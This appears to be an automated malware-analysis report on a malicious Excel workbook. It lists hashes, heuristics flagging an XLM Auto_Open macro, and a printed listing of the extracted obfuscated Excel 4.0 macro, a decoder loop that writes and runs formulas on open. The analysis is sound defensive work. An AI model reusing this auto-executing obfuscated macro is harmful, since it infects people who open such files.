Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9306c660275a9b5f…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:39:34 Authoring application: Microsoft Excel First seen: 2021-03-01
MD5: dfda816278baf9c22519c27fa4125615 SHA-1: be939a376053a22399eee038e3a8eb070a879dac SHA-256: 9306c660275a9b5fa6d111994ee81872475c0ccbc670c15cabc6184ca43f5936
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6554 bytes
SHA-256: 165819c76b87ef22a3fcdcb3969388eba6b2a8d7adb6b4d2cd22cab35ee4dbaa
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  NXyldBW
' 0018     24 LABEL : Cell Value, String Constant - ARsgaEXnp len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D160 
' 0018     22 LABEL : Cell Value, String Constant - CZfbZcS len=0 
' 0018     26 LABEL : Cell Value, String Constant - eFjNTwqUvPE len=0 
' 0018     21 LABEL : Cell Value, String Constant - fYRwce len=0 
' 0018     20 LABEL : Cell Value, String Constant - gphje len=0 
' 0018     22 LABEL : Cell Value, String Constant - hABaVzw len=0 
' 0018     21 LABEL : Cell Value, String Constant - jzuAZz len=0 
' 0018     26 LABEL : Cell Value, String Constant - LjUezXHydkz len=0 
' 0018     22 LABEL : Cell Value, String Constant - MhEygGG len=0 
' 0018     22 LABEL : Cell Value, String Constant - MupXYci len=0 
' 0018     22 LABEL : Cell Value, String Constant - MxlUgLt len=0 
' 0018     25 LABEL : Cell Value, String Constant - NOssEgSApt len=0 
' 0018     27 LABEL : Cell Value, String Constant - pwQsWGMYNsMF len=0 
' 0018     23 LABEL : Cell Value, String Constant - rkcXjSzW len=0 
' 0018     24 LABEL : Cell Value, String Constant - taiYRDIOa len=0 
' 0018     21 LABEL : Cell Value, String Constant - tWYTBm len=0 
' 0018     21 LABEL : Cell Value, String Constant - xKqGdC len=0 
' 0018     26 LABEL : Cell Value, String Constant - YdeBYwOMWlk len=0 
' 0018     23 LABEL : Cell Value, String Constant - yGREijaB len=0 
' 0018     22 LABEL : Cell Value, String Constant - zqtztpw len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  NXyldBW,D73,"SET.NAME("taiYRDIOa",VALUE("0"))",""
'  NXyldBW,D77,"SET.NAME("pwQsWGMYNsMF",taiYRDIOa)",""
'  NXyldBW,D81,"SET.NAME("xKqGdC",taiYRDIOa)",""
'  NXyldBW,D83,"SET.NAME("CZfbZcS",COUNTA(NOssEgSApt))",""
'  NXyldBW,D85,"SET.NAME("yGREijaB",COUNTA(YdeBYwOMWlk))",""
'  NXyldBW,D89,[],""
'  NXyldBW,D94,"SET.NAME("MhEygGG","")",""
'  NXyldBW,D96,"pwQsWGMYNsMF",""
'  NXyldBW,D101,"SET.NAME("ARsgaEXnp",HLOOKUP("*",NOssEgSApt,pwQsWGMYNsMF,FALSE))",""
'  NXyldBW,D106,"eFjNTwqUvPE",""
'  NXyldBW,D111,"SET.NAME("LjUezXHydkz",taiYRDIOa)",""
'  NXyldBW,D113,[],""
'  NXyldBW,D117,"LjUezXHydkz",""
'  NXyldBW,D122,"gphje",""
'  NXyldBW,D124,"jzuAZz",""
'  NXyldBW,D129,"hABaVzw",""
'  NXyldBW,D132,"SET.NAME("tWYTBm",VALUE(HLOOKUP("*",YdeBYwOMWlk,hABaVzw,FALSE)))",""
'  NXyldBW,D134,"rkcXjSzW",""
'  NXyldBW,D136,"MhEygGG",""
'  NXyldBW,D139,"xKqGdC",""
'  NXyldBW,D141,NEXT(),""
'  NXyldBW,D144,"fYRwce",""
'  NXyldBW,D147,"SET.NAME("f",INT(T(FORMULA(T(MhEygGG)&"",""&T(fYRwce)))))",""
'  NXyldBW,D149,"zqtztpw",""
'  NXyldBW,D153,NEXT(),""
'  NXyldBW,D158,RETURN(),""
'  NXyldBW,D185,"SET.NAME("MupXYci",D73)",""
'  NXyldBW,D187,"NOssEgSApt",""
'  NXyldBW,D192,"SET.NAME("YdeBYwOMWlk",R60C11)",""
'  NXyldBW,D197,"SET.NAME("zqtztpw",203)",""
'  NXyldBW,D200,"SET.NAME("MxlUgLt",4)",""
'  NXyldBW,D202,MupXYci(),""
'  NXyldBW,D203,HALT(),""